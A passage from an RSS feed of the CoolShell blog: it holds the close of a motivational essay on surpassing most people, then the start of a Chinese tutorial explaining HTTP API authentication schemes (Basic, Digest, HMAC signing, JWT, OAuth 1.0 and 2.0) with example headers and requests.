solving），设计的方法，工程的方法，代码的方法等等硬实力的，一开始照猫画虎，时间长了就可能会自己发明或推导新的方法。</p>\n<p>4）<strong>勤奋努力执着坚持</strong>。如果上面三件事你都没有也没有能力，那还有最后一件事了，那就是勤奋努力了，就是所谓的“一万小时定律”了（参看《<a href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\" rel=\"noopener noreferrer\">21天教你学会C++</a>》中的十年学编程一节），我见过很多不聪明的人，悟性也不够（比如我就是一个），别人学一个东西，一个月就好了，而我需要1年甚至更长，但是很多东西都是死的，只要肯花时间就有一天你会搞懂的，耐不住我坚持十年二十年，聪明的人发明个飞机飞过去了，笨一点的人愚公移山也过得去，因为更多的人是懒人，我不用拼过聪明人，我只用拼过那些懒人就好了。</p>\n<p>好了，就这么多，如果哪天你变得消极和不自信，你要来读读我的这篇文章，子曰：温故而知新。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19464.html\">如何超过大多数人</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/19464.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>167</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>HTTP API 认证授权术</title>\n\t\t<link>https://coolshell.cn/articles/19395.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/19395.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 09 May 2019 13:37:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[HMAC]]></category>\n\t\t<category><![CDATA[HTTPS]]></category>\n\t\t<category><![CDATA[JWT]]></category>\n\t\t<category><![CDATA[OAuth]]></category>\n\t\t<category><![CDATA[Security]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=19395</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们知道，HTTP是无状态的，所以，当我们需要获得用户是否在登录的状态时，我们需要检查用户的登录状态，一般来说，用户的登录成功后，服务器会发一个登录凭证（又被叫...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/19395.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-sup_wechat_big \" src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200.png\" alt=\"\" width=\"360\" height=\"200\" />我们知道，HTTP是无状态的，所以，当我们需要获得用户是否在登录的状态时，我们需要检查用户的登录状态，一般来说，用户的登录成功后，服务器会发一个登录凭证（又被叫作Token），就像你去访问某个公司，在前台被认证过合法后，这个公司的前台会给你的一个访客卡一样，之后，你在这个公司内去到哪都用这个访客卡来开门，而不再校验你是哪一个人。在计算机的世界里，这个登录凭证的相关数据会放在两种地方，一个地方在用户端，以Cookie的方式（一般不会放在浏览器的Local Storage，因为这很容易出现登录凭证被XSS攻击），另一个地方是放在服务器端，又叫Session的方式（SessonID存于Cookie）。</p>\n<p>但是，这个世界还是比较复杂的，除了用户访问，还有用户委托的第三方的应用，还有企业和企业间的调用，这里，我想把业内常用的一些 API认证技术相对系统地总结归纳一下，这样可以让大家更为全面的了解这些技术。<strong>注意，这是一篇长文！</strong></p>\n<p>本篇文章会覆盖如下技术：</p>\n<ul>\n<li>HTTP Basic</li>\n<li>Digest Access</li>\n<li>App Secret Key + HMAC</li>\n<li>JWT &#8211; JSON Web Tokens</li>\n<li>OAuth 1.0 &#8211; 3 legged &amp; 2 legged</li>\n<li>OAuth 2.0 &#8211; Authentication Code &amp; Client Credential</li>\n</ul>\n<p><span id=\"more-19395\"></span></p>\n<h4>HTTP Basic</h4>\n<p>HTTP Basic 是一个非常传统的API认证技术，也是一个比较简单的技术。这个技术也就是使用 <code>username</code>和 <code>password</code> 来进行登录。整个过程被定义在了 <a href=\"http://tools.ietf.org/html/rfc2617\" target=\"_blank\" rel=\"noopener noreferrer\">RFC 2617</a> 中，也被描述在了 <a href=\"https://en.wikipedia.org/wiki/Basic_access_authentication\" target=\"_blank\" rel=\"noopener noreferrer\">Wikipedia: Basic Access Authentication</a> 词条中，同时也可以参看 <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication\" target=\"_blank\" rel=\"noopener noreferrer\">MDN HTTP Authentication</a></p>\n<p>其技术原理如下：</p>\n<ol>\n<li>把 <code>username</code>和 <code>password</code> 做成  <code>username:password</code> 的样子（用冒号分隔）</li>\n<li>进行Base64编码。<code>Base64(\"username:password\")</code> 得到一个字符串（如：把 <code>haoel:coolshell</code> 进行base64 后可以得到 <code>aGFvZW86Y29vbHNoZWxsCg</code> ）</li>\n<li>把 <code>aGFvZW86Y29vbHNoZWxsCg</code>放到HTTP头中 <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization\" target=\"_blank\" rel=\"noopener noreferrer\"><code>Authorization</code></a> 字段中，形成 <code>Authorization: Basic aGFvZW86Y29vbHNoZWxsCg</code>，然后发送到服务端。</li>\n<li>服务端如果没有在头里看到认证字段，则返回401错，以及一个个<code><code></code></code><a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/WWW-Authenticate\" target=\"_blank\" rel=\"noopener noreferrer\">WWW-Authenticate</a><code>: Basic Realm='HelloWorld'</code> 之类的头要求客户端进行认证。之后如果没有认证通过，则返回一个401错。如果服务端认证通过，那么会返回200。</li>\n</ol>\n<p>我们可以看到，使用Base64的目的无非就是为了把一些特殊的字符给搞掉，这样就可以放在HTTP协议里传输了。而这种方式的问题最大的问题就是把用户名和口令放在网络上传，所以，一般要配合TLS/SSL的安全加密方式来使用。我们可以看到 <a href=\"https://developer.atlassian.com/cloud/jira/platform/jira-rest-api-basic-authentication/\" target=\"_blank\" rel=\"noopener noreferrer\">JIRA Cloud 的API认证</a>支持HTTP Basic 这样的方式。</p>\n<p>但我们还是要知道，这种把用户名和密码同时放在公网上传输的方式有点不太好，因为Base64不是加密协议，而是编码协议，所以就算是有HTTPS作为安全保护，给人的感觉还是不放心。</p>\n<h4>Digest Access</h4>\n<p>中文称“HTTP 摘要认证”，最初被定义在了 <a href=\"https://tools.ietf.org/html/rfc2069\" target=\"_blank\" rel=\"noopener noreferrer\">RFC 2069</a> 文档中（后来被 <a class=\"external mw-magiclink-rfc\" href=\"https://tools.ietf.org/html/rfc2617\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">RFC 2617</a> 引入了一系列安全增强的选项；“保护质量”(qop)、随机数计数器由客户端增加、以及客户生成的随机数）。</p>\n<p>其基本思路是，请求方把用户名口令和域做一个MD5 &#8211;  <code>MD5(username:realm:password)</code> 然后传给服务器，这样就不会在网上传用户名和口令了，但是，因为用户名和口令基本不会变，所以，这个MD5的字符串也是比较固定的，因此，这个认证过程在其中加入了两个事，一个是 <code>nonce</code> 另一个是 <code>qop</code></p>\n<ul>\n<li>首先，调用方发起一个普通的HTTP请求。比如：<code>GET /coolshell/admin/ HTTP/1.1</code></li>\n<li>服务端自然不能认证能过，服务端返回401错误，并且在HTTP头里的 <code>WWW-Authenticate</code> 包含如下信息：</li>\n</ul>\n<pre style=\"padding-left: 40px;\"> WWW-Authenticate: Digest realm=\"testrealm@host.com\",\n                        qop=\"auth,auth-int\",\n                        nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\",\n                        opaque=\"5ccc069c403ebaf9f0171e9517f40e41\"</pre>\n<ul>\n<li>其中的 <code>nonce</code> 为服务器端生成的随机数，然后，客户端做 <code>HASH1=MD5(MD5(username:realm:password):nonce:cnonce)</code> ，其中的 <code>cnonce</code> 为客户端生成的随机数，这样就可以使得整个MD5的结果是不一样的。</li>\n<li>如果 <code>qop</code> 中包含了 <code>auth</code> ，那么还得做  <code>HASH2=MD5(method:digestURI)</code> 其中的 <code>method</code> 就是HTTP的请求方法（GET/POST&#8230;），<code>digestURI</code> 是请求的URL。</li>\n<li>如果 <code>qop</code> 中包含了 <code>auth-init</code> ，那么，得做  <code>HASH2=MD5(method:digestURI:MD5(entityBody))</code> 其中的 <code>entityBody</code> 就是HTTP请求的整个数据体。</li>\n<li>然后，得到 <code>response = MD5(HASH1:nonce:nonceCount:cnonce:qop:HASH2)</code> 如果没有 <code>qop</code>则 <code>response = MD5(HA1:nonce:HA2)</code></li>\n<li>最后，我们的客户端对服务端发起如下请求—— 注意HTTP头的 <code>Authorization: Digest ...</code></li>\n</ul>\n<pre style=\"padding-left: 40px;\">GET /dir/index.html HTTP/1.0\nHost: localhost\nAuthorization: Digest username=\"Mufasa\",\n                     realm=\"testrealm@host.com\",\n                     nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\",\n                     uri=\"%2Fcoolshell%2Fadmin\",\n                     qop=auth,\n                     nc=00000001,\n                     cnonce=\"0a4f113b\",\n                     response=\"6629fae49393a05397450978507c4ef1\",\n                     opaque=\"5ccc069c403ebaf9f0171e9517f40e41\"</pre>\n<p>维基百科上的 <a href=\"https://en.wikipedia.org/wiki/Digest_access_authentication\" target=\"_blank\" rel=\"noopener noreferrer\">Wikipedia: Digest access authentication</a> 词条非常详细地描述了这个细节。</p>\n<p>摘要认证这个方式会比之前的方式要好一些，因为没有在网上传递用户的密码，而只是把密码的MD5传送过去，相对会比较安全，而且，其并不需要是否TLS/SSL的安全链接。但是，<strong>别看这个算法这么复杂，最后你可以发现，整个过程其实关键是用户的password，这个password如果不够得杂，其实是可以被暴力破解的，而且，整个过程是非常容易受到中间人攻击</strong>——比如一个中间人告诉客户端需要的 Basic 的认证方式 或是 老旧签名认证方式（RFC2069）。</p>\n<h4>App Secret Key + HMAC</h4>\n<p>先说HMAC技术，这个东西来自于MAC &#8211; <a href=\"https://en.wikipedia.org/wiki/Message_authentication_code\" target=\"_blank\" rel=\"noopener noreferrer\">Message Authentication Code</a>，是一种用于给消息签名的技术，也就是说，我们怕消息在传递的过程中被人修改，所以，我们需要用对消息进行一个MAC算法，得到一个摘要字串，然后，接收方得到消息后，进行同样的计算，然后比较这个MAC字符串，如果一致，则表明没有被修改过（整个过程参看下图）。而HMAC &#8211; <a href=\"https://en.wikipedia.org/wiki/HMAC\" target=\"_blank\" rel=\"noopener noreferrer\">Hash-based Authenticsation Code</a>，指的是利用Hash技术完成这一工作，比如：SHA-256算法。</p>\n<p>&nbsp;</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large\" src=\"https://coolshell.cn/wp-content/uploads/2019/05/MAC-1024x634.png\" alt=\"\" width=\"640\" height=\"396\" /></p>\n<p style=\"text-align: center;\">（图片来自 <a href=\"https://en.wikipedia.org/wiki/Message_authentication_code\" target=\"_blank\" rel=\"noopener noreferrer\">Wikipedia &#8211; MAC 词条</a> ）</p>\n<p>我们再来说App ID，这个东西跟验证没有关系，只是用来区分，是谁来调用API的，就像我们每个人的身份证一样，只是用来标注不同的人，不是用来做身份认证的。与前面的不同之处是，这里，我们需要用App ID 来映射一个用于加密的密钥，这样一来，我们就可以在服务器端进行相关的管理，我们可以生成若干个密钥对（AppID, AppSecret），并可以有更细粒度的操作权限管理。</p>\n<p>把AppID和HMAC用于API认证，目前来说，玩得最好最专业的应该是AWS了，我们可以通过<a href=\"https://docs.aws.amazon.com/zh_cn/general/latest/gr/sigv4-create-canonical-request.html\" target=\"_blank\" rel=\"noopener noreferrer\">S3的API请求签名文档</a>看到AWS是怎么玩的。整个过程还是非常复杂的，可以通过下面的图片流程看个大概。基本上来说，分成如下几个步骤：</p>\n<ol>\n<li>把HTTP的请求（方法、URI、查询字串、头、签名头，body）打个包叫 <code>CanonicalRequest</code>，作个SHA-256的签名，然后再做一个base16的编码</li>\n<li>把上面的这个签名和签名算法 <code>AWS4-HMAC-SHA256</code>、时间戳、Scop，再打一个包，叫 <code>StringToSign</code>。</li>\n<li>准备签名，用 <code>AWSSecretAccessKey</code>来对日期签一个 <code>DataKey</code>，再用 <code>DataKey</code> 对要操作的Region签一个 <code>DataRegionKey</code> ，再对相关的服务签一个<code>DataRegionServiceKey</code> ，最后得到 <code>SigningKey</code>.</li>\n<li>用第三步的 <code>SigningKey</code>来对第二步的 <code>StringToSign</code> 签名。</li>\n</ol>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2019/05/sigV4-using-query-params.png\" alt=\"\" width=\"653\" height=\"599\" /></p>\n<p>&nbsp;</p>\n<p>最后，发出HTTP Request时，在HTTP头的 <code>Authorization</code>字段中放入如下的信息：</p>\n<pre class=\"programlisting\" style=\"padding-left: 40px;\">Authorization: AWS4-HMAC-SHA256 \n               Credential=AKIDEXAMPLE/20150830/us-east-1/iam/aws4_request, \n               SignedHeaders=content-type;host;x-amz-date, \n               Signature=5d672d79c15b13162d9279b0855cfba6789a8edb4c82c400e06b5924a6f2b5d7\n</pre>\n<p>&nbsp;</p>\n<p>其中的  <code>AKIDEXAMPLE</code> 是 AWS Access Key ID， 也就是所谓的 AppID，服务器端会根据这个AppID来查相关的 Secret Access Key，然后再验证签名。如果，你对这个过程有点没看懂的话，你可以读一读这篇文章——《<a href=\"https://czak.pl/2015/09/15/s3-rest-api-with-curl.html\" target=\"_blank\" rel=\"noopener noreferrer\">Amazon S3 Rest API with curl</a>》这篇文章里有好些代码，代码应该是最有细节也是最准确的了。</p>\n<p>这种认证的方式好处在于，AppID和AppSecretKey，是由服务器的系统开出的，所以，是可以被管理的，AWS的IAM就是相关的管理，其管理了用户、权限和其对应的AppID和AppSecretKey。但是不好的地方在于，这个东西没有标准 ，所以，各家的实现很不一致。比如： <a href=\"https://github.com/acquia/http-hmac-spec\" target=\"_blank\" rel=\"noopener noreferrer\">Acquia 的 HMAC</a>，<a href=\"https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=4_3\" target=\"_blank\" rel=\"noopener noreferrer\">微信的签名算法</a> （这里，我们需要说明一下，微信的API没有遵循HTTP协议的标准，把认证信息放在HTTP 头的 <code>Authorization</code> 里，而是放在body里）</p>\n<h4>JWT &#8211; JSON Web Tokens</h4>\n<p>JWT是一个比较标准的认证解决方案，这个技术在Java圈里应该用的是非常普遍的。JWT签名也是一种MAC（<a href=\"https://en.wikipedia.org/wiki/Message_authentication_code\" target=\"_blank\" rel=\"noopener noreferrer\">Message Authentication Code</a>）的方法。JWT的签名流程一般是下面这个样子：</p>\n<ol>\n<li>用户使用用户名和口令到认证服务器上请求认证。</li>\n<li>认证服务器验证用户名和口令后，以服务器端生成JWT Token，这个token的生成过程如下：\n<ul>\n<li>认证服务器还会生成一个 Secret Key（密钥）</li>\n<li>对JWT Header和 JWT Payload分别求Base64。在Payload可能包括了用户的抽象ID和的过期时间。</li>\n<li>用密钥对JWT签名 <code>HMAC-SHA256(SecertKey, Base64UrlEncode(JWT-Header)+'.'+Base64UrlEncode(JWT-Payload));</code></li>\n</ul>\n</li>\n<li>然后把 <code>base64(header).base64(payload).signature</code> 作为 JWT token返回客户端。</li>\n<li>客户端使用JWT Token向应用服务器发送相关的请求。这个JWT Token就像一个临时用户权证一样。</li>\n</ol>\n<p>当应用服务器收到请求后：</p>\n<ol>\n<li>应用服务会检查 JWT  Token，确认签名是正确的。</li>\n<li>然而，因为只有认证服务器有这个用户的Secret Key（密钥），所以，应用服务器得把JWT Token传给认证服务器。</li>\n<li>认证服务器通过JWT Payload 解出用户的抽象ID，然后通过抽象ID查到登录时生成的Secret Key，然后再来检查一下签名。</li>\n<li>认证服务器检查通过后，应用服务就可以认为这是合法请求了。</li>\n</ol>\n<p>我们可以看以，上面的这个过程，是在认证服务器上为用户动态生成 Secret Key的，应用服务在验签的时候，需要到认证服务器上去签，这个过程增加了一些网络调用，所以，JWT除了支持HMAC-SHA256的算法外，还支持RSA的非对称加密的算法。</p>\n<p>使用RSA非对称算法，在认证服务器这边放一个私钥，在应用服务器那边放一个公钥，认证服务器使用私钥加密，应用服务器使用公钥解密，这样一来，就不需要应用服务器向认证服务器请求了，但是，RSA是一个很慢的算法，所以，虽然你省了网络调用，但是却费了CPU，尤其是Header和Payload比较长的时候。所以，一种比较好的玩法是，如果我们把header 和 payload简单地做SHA256，这会很快，然后，我们用RSA加密这个SHA256出来的字符串，这样一来，RSA算法就比较快了，而我们也做到了使用RSA签名的目的。</p>\n<p>最后，我们只需要使用一个机制在认证服务器和应用服务器之间定期地换一下公钥私钥对就好了。</p>\n<p>这里强烈建议全文阅读 Anglar 大学的 《<a href=\"https://blog.angular-university.io/angular-jwt/\" target=\"_blank\" rel=\"noopener noreferrer\">JSW：The Complete Guide to JSON Web Tokens</a>》</p>\n<h4>OAuth 1.0</h4>\n<p>OAuth也是一个API认证的协议，这个协议最初在2006年由Twitter的工程师在开发OpenID实现的时候和社交书签网站Ma.gnolia时发现，没有一种好的委托授权协议，后来在2007年成立了一个OAuth小组，知道这个消息后，Google员工也加入进来，并完善有善了这个协议，在2007年底发布草案，过一年后，在2008年将OAuth放进了IETF作进一步的标准化工作，最后在2010年4月，正式发布OAuth 1.0，即：<a href=\"https://tools.ietf.org/html/rfc5849\" target=\"_blank\" rel=\"noopener noreferrer\">RFC 5849</a> （这个RFC比起TCP的那些来说读起来还是很轻松的），不过，如果你想了解其前身的草案，可以读一下 <a href=\"http://oauth.net/core/1.0a/\" target=\"_blank\" rel=\"noopener noreferrer\">OAuth Core 1.0 Revision A</a> ，我在下面做个大概的描述。</p>\n<p>根据RFC 5849，可以看到 OAuth 的出现，目的是为了，用户为了想使用一个第三方的网络打印服务来打印他在某网站上的照片，但是，用户不想把自己的用户名和口令交给那个第三方的网络打印服务，但又想让那个第三方的网络打印服务来访问自己的照片，为了解决这个授权的问题，OAuth这个协议就出来了。</p>\n<ul>\n<li>这个协议有三个角色：\n<ul>\n<li><strong>User（照片所有者-用户）</strong></li>\n<li><strong>Consumer（第三方照片打印服务）</strong></li>\n<li><strong>Service Provider（照片存储服务）</strong></li>\n</ul>\n</li>\n<li>这个协义有三个阶段：\n<ul>\n<li><strong>Consumer获取Request Token</strong></li>\n<li><strong>Service Provider 认证用户并授权Consumer</strong></li>\n<li><strong>Consumer获取Access Token调用API访问用户的照片</strong></li>\n</ul>\n</li>\n</ul>\n<p>整个授权过程是这样的：</p>\n<ol>\n<li>Consumer（第三方照片打印服务）需要先上Service Provider获得开发的 Consumer Key 和 Consumer Secret</li>\n<li>当 User 访问 Consumer 时，Consumer 向 Service Provide 发起请求请求Request Token （需要对HTTP请求签名）</li>\n<li>Service Provide 验明 Consumer 是注册过的第三方服务商后，返回 Request Token（<code>oauth_token</code>）和 Request Token Secret （<code>oauth_token_secret</code>）</li>\n<li>Consumer 收到 Request Token 后，使用HTTP GET 请求把 User 切到 Service Provide 的认证页上（其中带上Request Token），让用户输入他的用户和口令。</li>\n<li>Service Provider 认证 User 成功后，跳回 Consumer，并返回 Request Token （<code>oauth_token</code>）和 Verification Code（<code>oauth_verifier</code>）</li>\n<li>接下来就是签名请求，用Request Token 和 Verification Code 换取 Access Token （<code>oauth_token</code>）和 Access Token Secret (<code>oauth_token_secret</code>)</li>\n<li>最后使用Access Token 访问用户授权访问的资源。</li>\n</ol>\n<p>下图附上一个Yahoo!的流程图可以看到整个过程的相关细节。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2019/05/oauth_graph.gif\" alt=\"\" width=\"660\" height=\"992\" /></p>\n<p>因为上面这个流程有三方：User，Consumer 和 Service Provide，所以，又叫 3-legged flow，三脚流程。OAuth 1.0 也有不需要用户参与的，只有Consumer 和 Service Provider 的， 也就是 2-legged flow 两脚流程，其中省掉了用户认证的事。整个过程如下所示：</p>\n<ol>\n<li>Consumer（第三方照片打印服务）需要先上Service Provider获得开发的 Consumer Key 和 Consumer Secret</li>\n<li>Consumer 向 Service Provide 发起请求请求Request Token （需要对HTTP请求签名）</li>\n<li>Service Provide 验明 Consumer 是注册过的第三方服务商后，返回 Request Token（<code>oauth_token</code>）和 Request Token Secret （<code>oauth_token_secret</code>）</li>\n<li>Consumer 收到 Request Token 后，直接换取 Access Token （<code>oauth_token</code>）和 Access Token Secret (<code>oauth_token_secret</code>)</li>\n<li>最后使用Access Token 访问用户授权访问的资源。</li>\n</ol>\n<p>最后，再来说一说OAuth中的签名。</p>\n<ul>\n<li>我们可以看到，有两个密钥，一个是Consumer注册Service Provider时由Provider颁发的 Consumer Secret，另一个是 Token Secret。</li>\n<li>签名密钥就是由这两具密钥拼接而成的，其中用 <code>&amp;</code>作连接符。假设 Consumer Secret 为 <code>j49sk3j29djd</code> 而 Token Secret 为<code>dh893hdasih9</code>那个，签名密钥为：<code>j49sk3j29djd&amp;dh893hdasih9</code></li>\n<li>在请求Request/Access Token的时候需要对整个HTTP请求进行签名（使用HMAC-SHA1和HMAC-RSA1签名算法），请求头中需要包括一些OAuth需要的字段，如：\n<ul>\n<li><strong>Consumer Key</strong> ： 也就是所谓的AppID</li>\n<li><strong>Token</strong>： Request Token 或 Access Token</li>\n<li><strong>Signature Method</strong> ：签名算法比如：HMAC-SHA1</li>\n<li><strong>Timestamp</strong>：过期时间</li>\n<li><strong>Nonce</strong>：随机字符串</li>\n<li><strong>Call Back</strong>：回调URL</li>\n</ul>\n</li>\n</ul>\n<p>下图是整个签名的示意图：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2019/05/oauth_singature.png\" alt=\"\" width=\"715\" height=\"877\" /></p>\n<p>图片还是比较直观的，我就不多解释了。</p>\n<h4>OAuth 2.0</h4>\n<p>在前面，我们可以看到，从Digest Access， 到AppID+HMAC，再到JWT，再到OAuth 1.0，这些个API认证都是要向Client发一个密钥（或是用密码）然后用HASH或是RSA来签HTTP的请求，<strong>这其中有个主要的原因是，以前的HTTP是明文传输，所以，在传输过程中很容易被篡改，于是才搞出来一套的安全签名机制</strong>，所以，这些个认证的玩法是可以在HTTP明文协议下玩的。</p>\n<p>这种使用签名方式大家可以看到是比较复杂的，所以，对于开发者来说，也是很不友好的，在组织签名的那些HTTP报文的时候，各种，URLEncode和Base64，还要对Query的参数进行排序，然后有的方法还要层层签名，非常容易出错，另外，这种认证的安全粒度比较粗，授权也比较单一，对于有终端用户参与的移动端来说也有点不够。所以，在2012年的时候，OAuth 2.0 的 <a href=\"https://tools.ietf.org/html/rfc6749\" target=\"_blank\" rel=\"noopener noreferrer\">RFC 6749</a> 正式放出。</p>\n<p><strong>OAuth 2.0依赖于TLS/SSL的链路加密技术（HTTPS），完全放弃了签名的方式，认证服务器再也不返回什么 token secret 的密钥了，所以，OAuth 2.0是完全不同于1.0 的，也是不兼容的</strong>。目前，Facebook 的 Graph API 只支持OAuth 2.0协议，Google 和 Microsoft Azure 也支持Auth 2.0，国内的微信和支付宝也支持使用OAuth 2.0。</p>\n<p>下面，我们来重点看一下OAuth 2.0的两个主要的Flow：</p>\n<ul>\n<li>一个是Authorization Code Flow， 这个是 3 legged 的</li>\n<li>一个是Client Credential Flow，这个是 2 legged 的。</li>\n</ul>\n<h5><strong>Authorization Code Flow</strong></h5>\n<p>Authorization Code 是最常使用的OAuth 2.0的授权许可类型，它适用于用户给第三方应用授权访问自己信息的场景。这个Flow也是OAuth 2.0四个Flow中我个人觉得最完整的一个Flow，其流程图如下所示。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full \" src=\"https://coolshell.cn/wp-content/uploads/2019/05/auth_code_flow.png\" alt=\"\" width=\"621\" height=\"505\" /></p>\n<p>&nbsp;</p>\n<p>下面是对这个流程的一个细节上的解释：</p>\n<p>1）当用户（Resource Owner）访问第三方应用（Client）的时候，第三方应用会把用户带到认证服务器（Authorization Server）上去，主要请求的是 <code>/authorize</code> API，其中的请求方式如下所示。</p>\n<pre style=\"padding-left: 40px;\">https://login.authorization-server.com/authorize?\n        client_id=6731de76-14a6-49ae-97bc-6eba6914391e\n        &amp;response_type=code\n        &amp;redirect_uri=http%3A%2F%2Fexample-client.com%2Fcallback%2F\n        &amp;scope=read\n        &amp;state=xcoiv98CoolShell3kch</pre>\n<p style=\"padding-left: 40px;\">其中：</p>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li><code>client_id</code>为第三方应用的App ID</li>\n<li><code>response_type=code</code>为告诉认证服务器，我要走Authorization Code Flow。</li>\n<li><code>redirect_uri</code>意思是我跳转回第三方应用的URL</li>\n<li><code>scope</code>意是相关的权限</li>\n<li><code>state</code> 是一个随机的字符串，主要用于防CSRF攻击。</li>\n</ul>\n</li>\n</ul>\n<p>2）当Authorization Server收到这个URL请求后，其会通过 <code>client_id</code>来检查 <code>redirect_uri</code>和 <code>scope</code>是否合法，如果合法，则弹出一个页面，让用户授权（如果用户没有登录，则先让用户登录，登录完成后，出现授权访问页面）。</p>\n<p>3）当用户授权同意访问以后，Authorization Server 会跳转回 Client ，并以其中加入一个 Authorization Code。 如下所示：</p>\n<pre style=\"padding-left: 40px;\">https://example-client.com/callback?\n        code=Yzk5ZDczMzRlNDEwYlrEqdFSBzjqfTG\n        &amp;state=xcoiv98CoolShell3kch</pre>\n<p style=\"padding-left: 40px;\">我们可以看到，</p>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li>请流动的链接是第 1）步中的 <code>redirect_uri</code></li>\n<li>其中的 <code>state</code> 的值也和第 1）步的 <code>state</code>一样。</li>\n</ul>\n</li>\n</ul>\n<p>4）接下来，Client 就可以使用 Authorization Code 获得 Access Token。其需要向 Authorization Server 发出如下请求。</p>\n<pre style=\"padding-left: 40px;\">POST /oauth/token HTTP/1.1\nHost: authorization-server.com\n \ncode=Yzk5ZDczMzRlNDEwYlrEqdFSBzjqfTG\n&amp;grant_type=code\n&amp;redirect_uri=https%3A%2F%2Fexample-client.com%2Fcallback%2F\n&amp;client_id=6731de76-14a6-49ae-97bc-6eba6914391e\n&amp;client_secret=JqQX2PNo9bpM0uEihUPzyrh</pre>\n<p>5）如果没什么问题，Authorization 